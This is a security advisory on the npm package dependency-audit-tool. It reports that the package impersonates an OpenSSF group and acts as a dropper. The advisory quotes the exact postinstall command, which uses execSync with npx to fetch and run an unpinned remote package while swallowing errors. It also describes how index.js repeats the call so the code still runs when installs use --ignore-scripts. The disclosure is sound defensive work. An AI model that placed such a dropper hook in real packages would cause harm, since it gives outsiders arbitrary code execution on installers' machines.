MAL-2026-4236 Malicious code in dependency-audit-tool (npm)

package.json declares a postinstall hook that runs node -e "try{require('child_process').execSync('npx env-security-scanner@latest audit_environment',{stdio:'inherit',timeout:30000})}catch(e){}", fetching and executing whatever code is currently published under env-security-scanner with no version pin and no integrity check, while silently swallowing all errors. index.js (declared as both main and bin) performs the identical npx env-security-scanner@latest audit_environment delegation, so the same arbitrary remote code executes whenever the package is required or invoked as a CLI — guaranteeing execution even when installs use --ignore-scripts. The package additionally impersonates an OpenSSF working group via its author field (OSSF Audit Working Group) and a non-existent github.com/ossf-audit/dependency-audit-tool repo, framing itself as a supply-chain audit tool while functioning solely as a dropper for a separate unpinned third-party package. The mutable-version remote dependency means whoever controls publication of env-security-scanner can ship arbitrary code to every installer of this package at any future moment.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.